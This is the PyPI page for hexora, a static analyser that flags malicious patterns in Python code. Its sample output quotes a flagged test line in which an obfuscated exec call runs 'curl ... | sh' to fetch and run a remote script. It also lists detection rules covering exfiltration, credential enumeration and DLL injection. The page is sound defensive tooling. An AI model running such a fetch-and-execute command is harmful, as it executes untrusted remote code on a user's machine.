Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    
warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3020 DunderShellExec Execution of a shell command via __import__.
HX3030 DunderCodeExec Execution of code via __import__.
HX3040 DLLInjection Possible DLL injection.
HX3050 CurlWgetExec Execution of curl or wget in shell command.
HX4000 ObfuscateShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX4020 ObfuscatedDunderShellExec Execution of an obfuscated shell command via __import__.
HX4030 ObfuscatedDunderCodeExec Execution of obfuscated code via __import__.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.2.0.tar.gz (4.9 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.2.0-cp313-cp313-win_amd64.whl (1.9 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.2.0-cp313-cp313-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.2.0-cp313-cp313-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.2.0-cp313-cp313-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.2.0-cp313-cp313-macosx_11_0_arm64.whl (2.0 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.2.0-cp312-cp312-win_amd64.whl (1.9 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.2.0-cp312-cp312-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.2.0-cp312-cp312-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.2.0-cp312-cp312-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.2.0-cp312-cp312-macosx_11_0_arm64.whl (2.0 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.2.0-cp311-cp311-win_amd64.whl (1.9 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.2.0-cp311-cp311-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.2.0-cp311-cp311-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.2.0-cp311-cp311-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.2.0-cp311-cp311-macosx_11_0_arm64.whl (2.0 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.2.0-cp311-cp311-macosx_10_12_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.2.0-cp310-cp310-win_amd64.whl (1.9 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.2.0-cp310-cp310-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.2.0-cp310-cp310-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.2.0-cp310-cp310-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.2.0-cp310-cp310-macosx_11_0_arm64.whl (2.0 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.2.0-cp310-cp310-macosx_10_12_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.2.0-cp39-cp39-win_amd64.whl (1.9 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.2.0-cp39-cp39-musllinux_1_2_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.2.0-cp39-cp39-manylinux_2_28_x86_64.whl (2.3 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.2.0-cp39-cp39-manylinux_2_28_aarch64.whl (2.2 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.2.0-cp39-cp39-macosx_11_0_arm64.whl (2.0 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.2.0-cp39-cp39-macosx_10_12_x86_64.whl (2.1 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.2.0.tar.gz.

File metadata

  • Download URL: hexora-0.2.0.tar.gz
  • Upload date:
  • Size: 4.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.0.tar.gz
Algorithm Hash digest
SHA256 374c4caac130c2a9eac709805348acf7ab271a0554d452b7686d698f3c62c422
MD5 1bf6b67c1ce5a62fd85035d073263ae3
BLAKE2b-256 e93d29fee5856a366b9c7847c1c911871490a88d0a18de0d34a355fca08dfbab

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.0-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 1.9 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.0-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 a71528c53d6652b0416080e03211afc7d2bbfc6556895cf1a600530f7d49eb95
MD5 a632917c0b346a09e601bc9a520ce7ad
BLAKE2b-256 a3d5e23962faada79ad6dda9e5e3013a87b715d0b91f56b8c402ea32569b51fe

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 7aba7f529ca99521f4dde7b65be76d4f77e97b50cdd8db64e99203fd273a9763
MD5 6866a303ed2717b4661d2bf98d7b4ad6
BLAKE2b-256 359ef31452267a5ef63eb17356f365c2f198e87f0800bbe4f478aa2681cf3a07

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 25225110aa2b7733283dba581d1b4807d5d01c3c1115fc8c80cbeabf59a4f8ec
MD5 f05ece3790c85f3f0e8795d9e25dd440
BLAKE2b-256 cd70e5f818c9dc6add708cbcd25e1e0df3f9d1f3b7cab5113646c7276eb073a2

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 0811043f526e19f47f06c11764aa7e54750c0c8b337d7fc38919c15bd2827f47
MD5 1d1f446e31c2fdf313a1d2b277c4c520
BLAKE2b-256 ed3dda3790217dbc34a9d7c471a9981894feda4f4159163fd41f8a977ea7e515

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 a6a10f4ca30fd35b5268d2b16e146fbe99e9e52c640c009103ce1364510c9499
MD5 c2e64c2e42d254e9398d55de5f51d46c
BLAKE2b-256 6ac772779f135e94355016063936a6aaaad29823bf025661f096942feec258df

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 2599ea3118eec2e6cef0225a39cdd931d97cc60d8f62a9fb8900896039e4a28c
MD5 b58963dc5e6215e52f8f714bbbf6fa90
BLAKE2b-256 02f794fe40d0f1dcf4dda29e02f28cd82ababbd1d4b027d5c8be2d60cd1c2842

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.0-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 1.9 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.0-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 140b4e6ca742ac5073380d747d1caf3d5269a210ba6e309ef444c106a19521d9
MD5 998292e0999f6674bb23e055097a3eeb
BLAKE2b-256 c6e422dc809bbdba8ce40cc8d1ba45369697b221e595c414e8079b3d26b40f2f

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 87d507048172b9db054e5a3cba9d0d84f083e159908fd83d2167d7d655d538fe
MD5 941c049a4d318dad7dead939210d0856
BLAKE2b-256 ff695b8dd91d26a216e0e2230a0b1f009df1acb2877e8bcb05513c0fc406780c

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 90e3661c5bd72ef9074c3d391b9b1b7c23a33dcf741a50f320826c7ec0be0748
MD5 5cacb59071ca53fe1ce7945ed6777c86
BLAKE2b-256 1c2f9373ec4a92a30f291950a6d1872d85e591866d452aca51946fb2f84f77a6

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 15ea89bc77b23fb73f923d85045e5032fd56bce8c33ca0bc26d3789fd8e56182
MD5 97f139c4f6177ab3b127df117b55ee14
BLAKE2b-256 fe68436718c323d34af4e0c4def4655921ac1c9aa724afc2dde3a1c2762f17d1

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 a8365896508a201a90261d657018a9463d7de642c22f3366808f2d16519f2f93
MD5 51a434f9220a13d159d994fb4638eec9
BLAKE2b-256 e2094eb56c0ff8e0e99db364a366b4cc47f6853c94f756d8d31281eee177de95

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 b4a0345a21d888532f8d64a7069c8f2276c56974696a4f7181ffb35ebf306a77
MD5 3f3c22b47a1741bf707c2602031b1fbb
BLAKE2b-256 bb7d72a2be81c5fc3cbda01e7c4083d44b0270ef4e124b480b1107a1004b0c81

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.0-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 1.9 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.0-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 73461f95a852a615682a6d6b9ddd97b7d2a094fe2611f5a1e2ea05fa7da24f04
MD5 de79cad9507b4e16455a3950023f4763
BLAKE2b-256 448ce506c22258160673617a7d1cb30325c0f65f69888938adc55b134ec0dfa5

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 05bb5d31faec44fd5eb8743d55ecbd44fcc71ef32f986cf2530c1999bc353d2d
MD5 57f53dc3711853b36f71575a5601fc53
BLAKE2b-256 49a0a7950431c6d7e6e977c5238c1641260e4d83ff611254b9dc5d733e7f813b

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 56895197c0277171bc0f38d41f3f73bca6f7f9c198dc29ece0c029d7d4f057d2
MD5 96629207f60b0ba6593809c881d4af30
BLAKE2b-256 89e69df29257d87ef7eb5e1a26bc0cdf09f98627c8eb03bd38007eb263d35f87

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 a6277bedf336c7a7584482206017d590057e3196c4141476cb3e5162e585cc11
MD5 db28867e5a0b4688ba667278ace18ed2
BLAKE2b-256 e3fbc0d89801aa1211bb1a7244db29efad252a3ae0a2d1aeef3f7979a7ddb3f8

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 23d38d77d4f9e69c27cba44686e74e09fd97161dd351dee28ceb63db1ab7240f
MD5 5447f8ade68329ba890d619d9eab933f
BLAKE2b-256 bc2dcbb3004e37aab4bb2cf58216ee6416e111ae9f1afd15039fd81730f5f700

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 6c18947a9475f056c25b05cd043eefb50d591e9e419ee9bc3ef9f3611d5eaf1b
MD5 38352c3c14afcebef5380ea5f4404864
BLAKE2b-256 4db167b132c66cfed0fbe1bd3a1a58fd71fa268084d3c1a9581563f11d13b129

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.0-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 1.9 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.0-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 6cfd0fdfe8edcdb977395b7f03c13173a2499797ecbdb29895f7a3d645976c95
MD5 68670df844d896aaf8586b1edbe79917
BLAKE2b-256 a49c835df2f997c2556caddd5a5eecaa414f2d061814dbc825c5388c8ebed657

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 a3f7fc279852932509f906e769c4597af4739cacabf55577e5b0b4f342e50f54
MD5 671d793a532b7c220567e27824679bab
BLAKE2b-256 1bb849cca5a27469a1009787091ae5c13602e715f04860fcc0d885d4c0e6428a

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 ec1aab6c148ebd4ebfbc2c189e5f200e7f8bdae40be83e9106ac054af77d44a8
MD5 bcd7b9c6e00d6c71c2ea67111b378ee5
BLAKE2b-256 4a5b0b7d3a1ddf4bfbdeac1bf27110cc1a2d52f2ac417e97da06adf94b9ce1c9

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 8f72ed05f0676adc4efd3cf69c52d6760182a2292ea2d5e931542788ef982240
MD5 5943ad49b71a41da96b3028ac8766ac6
BLAKE2b-256 f6b5ccdaded56bda4347b9bc18d999724f4604d608b84e68a1ec296e2abb5b9e

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 c5b75683e5e96a1adb02bc269a788c09f276b0252cec7fc50765c4bc7124ab95
MD5 d0310bbcb3f3bd9e9384878e7f9c0aaf
BLAKE2b-256 6c8547ab318abd411ba3abdb260ef1b02c23b75b58c3d9f6f310302bce97ed69

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 bb9dd41d6719f95945262c62344a6fd871c332d722711990d7075990b0810ddd
MD5 4c48a0c27949c2927bd8160d1f65f7b7
BLAKE2b-256 88587f3a35de8efc6361f0cf3420753a497cb8ba80b358dd15c6ad270bc094bb

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.0-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 1.9 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.0-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 2357d720f98956fb9e9458590ef4c6c708e99960e8e67aa88519cb6a046d6151
MD5 4a64b4c2b5cc6030ca354615d4a95b42
BLAKE2b-256 e35644f6df7267a4cefd54a3d38f33807920faae2345726766b0a1898b83cb2e

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 2f090a78c2922882ee8e61e7e36124e93189fbb515079a20e3a1dff14608327d
MD5 4a1c68a4a67df93f03e43b5251a1f865
BLAKE2b-256 0e7aacc1e5425e444f407cdb14b557c9266827afcd39d0b1c059a17613168ce2

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 89279b6eb82d2fcf123ce056997230d47b1975013f9542012ddbb9638829325c
MD5 f5a040ad16934b42117baff88a96fb62
BLAKE2b-256 824afb92c5291beeb7b0d260ff7f4fb263309feda290d2f50e1f93ffe66e81c4

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 1e9b08287e1ca9bef5a5a291eb442c420ae9026285b26e16e68215f3f53c39a8
MD5 873c412b370b86f620745de671fa2082
BLAKE2b-256 cff8db26500a0d60dc37b3fe37e1f72bd19e7004a09468b5e1d49fc41803f977

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 ad6f06682313c355d1ec675853166f923510905e313afca7c730bb6da856d9b4
MD5 3556fde7ac5b175fccb15265c4e6c19f
BLAKE2b-256 be287d904ad7dbdc497cefc732ebbf4da617a291822030a1713d542cac8840bb

See more details on using hashes here.

File details

Details for the file hexora-0.2.0-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.0-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 476599ab02bc53fdf710a4928bae139d55e62748da548ab7e1109735f2e89af2
MD5 f7ebd9a177a459d974134582002ccbb4
BLAKE2b-256 a53a1e477498b78326a25955e0ee7e462b253b87829bcd33259f87a14d31c911

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page